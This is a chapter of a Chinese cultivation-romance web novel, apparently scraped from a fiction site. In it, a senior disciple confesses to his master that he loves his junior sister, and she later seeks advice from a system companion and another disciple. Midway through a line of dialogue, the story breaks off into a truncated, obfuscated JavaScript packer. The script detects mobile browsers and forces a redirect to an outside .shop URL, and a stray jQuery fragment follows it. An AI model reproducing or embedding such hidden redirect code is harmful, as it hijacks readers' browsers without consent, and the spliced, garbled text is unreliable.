文趣网 > 其他小说 > 师妹为何要如此 > 19.第 19 章
    “楼雪尽,滚过来。”

    玄霜已经在发怒的边缘。

    温煦松开在扒拉楼雪尽的手,试图解释:“师尊……”

    玄霜睨了她一眼:“滚回去睡觉。”

    “哦。”

    这种小情侣幽会被家中长辈抓包的既视感到底是怎么回事。

    她把奇怪的念头从脑子里甩出。

    温煦人一走,属于炼虚期的威压便尽数落在楼雪尽身上。

    无形的寒气漫开,空气变得凝滞。

    楼雪尽双膝跪地,身体紧绷,呼吸声逐渐粗重,鲜血从他的唇角渗出,染红了唇瓣。

    “阿煦年岁尚小,你作为她的师兄,理应恪守本分。”

    “早些日子,我便听有谣言,说你心悦阿煦,甚至强迫她。”

    玄霜居高临下俯视跪地的男子,“我知你心性正直,懂分寸,断是做不出这般事来。”

    “方才的场景,给我一个合理解释。”

    “弟子知错。”楼雪尽垂下眼睑,他抬手拭去唇上血渍,郑重道,“弟子确实对师妹动了妄念。”

    “望师尊成全。”

    “混账。”

    落在楼雪尽身上的威压又重了几分,压着楼雪尽脊背不断往下。

    玄霜斥道,“你何时对你师妹生的龌龊心思。”

    这个问题,连楼雪尽本人也不知。

    日久生情这种事,谁又能从那么多点滴中寻到是何时动的心。

    待回过神时他只知,此生他已非师妹不可。

    夜色浓稠,四下悄寂无声。

    清冷的月光勾勒出楼雪尽清冷俊美的轮廓,他眸光晦涩,嘴唇蠕动:“师尊,我是真心倾心于师妹,求师尊成全。”

    “师兄,你……”

    少女清脆的声音响起。

    楼雪尽猛地抬头,脸色骤变。

    只见温煦站在树下,呆愣地看着他,脸上满是不可置信。

    “……师妹。”楼雪尽喉间发紧,小心翼翼问,“你都听到了。”

    温煦脑子此刻有些宕机,她不仅听到了,还听得清清楚楚。

    师兄,心悦她?

    心悦她?!

    她本是折返来为师兄求情,毕竟她深更半夜出现在师兄这,本身便是乌龙。

    只是方才师尊模样太凶,走远才想起,解释清楚便好,她与师兄之间分明清清白白。

    没成想,才回来便听见这么惊天动地的一番话。

    “让你去睡觉,怎么又跑回来偷听你师兄的少男心事。”玄霜朝温煦挥手赶人,“去去去,小孩子一边玩去。”

    正巧温煦也不知该如何面对楼雪尽,听话地应下,跑得比兔子还快,登时没了影。

    玄霜的威压早已收回,只是楼雪尽的身子还在微微颤抖。

    想起方才温煦惊愕的模样,和落荒而逃的背影,他心里闷得很。

    若师妹因此而疏远他,他该如何是好。

    ……

    隔壁院子,温煦一路狂奔冲回自己屋里,跳到床榻身体摆成个大字趴下。

    “你怎么了,跟有鬼在背后追似的。”零零七蹲到她身旁,不解道。

    “比有鬼在追还恐怖。”

    零零七来了兴趣:“发生了何事。”

    “师兄他。”温煦难以启齿,挣扎半晌才继续道,“师兄他心悦我。”

    零零七白眼一翻,兴致恹恹:“就这。”

    温煦翻身起来,震惊极了:“这还不算大事。”

    “这种人尽皆知的事情,莫要拿出来重复说了。”零零七爬到枕边躺下,打了个哈欠,“很晚了,早点休息,你明日还有比试。”

    “我如何睡得着。”温煦抓狂地揪住自己发尾,“还有什么叫人尽皆知。”

    “那分明是我乱传的谣言。”

    所以为何谣言会成真啊。

    温煦此刻在零零七眼里跟块木头无异。

    它无语道:“你以为你随口传的谣言,为何大家都轻而易举的相信,还不是你师兄平日里在喜欢你这件事上,毫无遮掩。”

    “有吗?”

    “你去外面问问,哪个师兄天天给师妹扎头发,做吃食,买一堆衣裳首饰,师妹在哪他在哪,跟屁虫似的,粘着师妹不放。”

    “可是我们从小就这样啊。”温煦揉着自己脸颊,“我们只是感情深,像亲兄妹一样。”

    “亲兄妹也不这样!”零零七斩钉截铁道,“亲兄妹不互扯头花都算好了。”

    温煦沉默了:“可是我们是师兄妹啊,师兄怎么能对我……”

    “师兄妹又不是亲兄妹。”零零七实在不懂温煦纠结的点,“睡吧,反正这不是你该操心的事。”

    楼雪尽这种看着不争不抢,温润有礼的男人。

    嘴上说着师妹不喜欢他也没事,只要师妹幸福。

    可若师妹当真不喜欢他,又会一秒黑化变阴暗偏执男。

    这种人设零零七不知在多少个小世界见过,且楼雪尽是它在众多小世界中见过最能忍,最溺爱师妹的。

    想必发起疯来也会是最狠的。

    翌日清晨。

    温煦顶着两个厚重的黑眼圈到比武台抽签处。

    维持秩序的弟子吓了大跳:“温师姐,你这是怎了,昨夜做贼去了吗。”

    温煦道:“没睡好。”

    “可是因为大比。”弟子安慰,“以温师姐的实力,大比前七定然是没问题,何故如此忧心。”

    “多谢师弟。”温煦长叹口气,没解释,上前去抽签。

    老天眷顾,温煦运气极佳,抽中个筑基初期的弟子,只三两下便赢得了比赛。

    上午还很长,她不想回云渺峰。

    一想到可能撞见楼雪尽,就觉得尤为尴尬。

    见不远处树下有块空地,温煦朝那走去,刚坐下靠上树干,余光瞥见有人走来。

    来人正是外门风头正盛的戚甜。

    她头顶晃着两个双马尾,扛着砍刀到温煦身旁,砍刀往地上一放便坐下,而后掏出绿豆糕吃了起来。

    瞧见绿豆糕,温煦又忍不住想起楼雪尽,晃了神,忘了移开视线。

    在戚甜眼里,便是身旁这人直愣愣盯着自己手里的绿豆糕,馋得不行。

    “吃吗。”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17583301|204482||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >一块绿豆递到温煦面前,温煦回过神来:“给我的吗。”

    戚甜点头。

    温煦受宠若惊地接过:“多谢戚师妹。”

    戚甜道:“不客气。”

    气氛一下怪异起来,两人相顾无言。

    “我叫温煦,是云渺峰的弟子。”温煦主动找话题,“听闻戚师妹才入宗门不久,如今可有习惯。”

    戚甜道:“昆仑宗很好,我很习惯。”

    天又聊死了。

    “我知道你。”过了不知多久,戚甜忽然开口,“你和你师兄很出名。”

    温煦隐隐有不祥的预感。

    “听说你师兄对你强取豪夺,你心有所属不愿屈服,于是他追你逃,你插翅难飞,可这样的日子久了,你也对你师兄生出别样心思。”

    “啊?”这又是哪个版本。

    “为了与你师兄并肩,你寻到治疗阻脉的禁术,换取废灵根,因此丢去半条命。”

    温煦笑得牵强。

    好精彩的故事,如果故事的主人公不是她就更精彩了。

    看温煦这副模样,戚甜便知这些全是假话。

    想也是,若温煦当真用了禁术,又怎会好端端在这参加宗门大比,早让执法堂掳走了。

    “果然八卦不能信。”她一口吞完剩下的绿豆糕。

    “戚师妹。”

    戚甜看向温煦:“嗯?”

    温煦想起昨晚零零七说,别的师兄妹可不会像他们这般。

    她开口问道:“你有自小一同长大的师兄吗。”

    “有啊。”戚甜应道。

    “那你和你师兄平日里是怎么相处的。”温煦追问。

    戚甜思索片刻道:“他看我不顺眼,我同样看他不顺眼,通常我们见面三句话便要吵起来,吵急了就动刀子互捅。”

    温煦大为震撼,若说她与师兄之间太过亲近不正常,这位戚师妹与自家师兄见面互捅刀子的关系,应当也不大正常吧。

    “问我这个作甚,你可是遇到什么困扰。”戚甜一眼看穿。

    “我有个朋友……”见戚甜眼里染上笑意,温煦干脆破罐子破摔,“好吧,其实是我。”

    “我发现我师兄喜欢我,可我只把他当成师兄。”

    “现在我一想到他就浑身不自在,不知该如何面对他。”

    戚甜问:“你对你师兄毫无男女之情吗。”

    温煦还未思考便摇头。

    “那就继续装傻嘛。”戚甜出主意,“若你想继续维持这段师兄妹关系,就不要主动戳破,先看看你师兄是何反应。”

    “可这样有点自私。”温煦低头手指搅在一起。

    戚甜问:“那你想这辈子和你师兄老死不相往来?”

    温煦用力摇头。

    “那不就是了,你暂且先装傻充愣,与他像从前一样相处,你师兄若是真喜欢你,定是也不愿与你闹得太难看。”

    “这样你好他好大家好。”

    温煦似懂非懂。

    她背靠树干,仰头深吸了口气。

    看向前方时她忽然呆住,那口气便吊着忘了落下,憋得脸通红。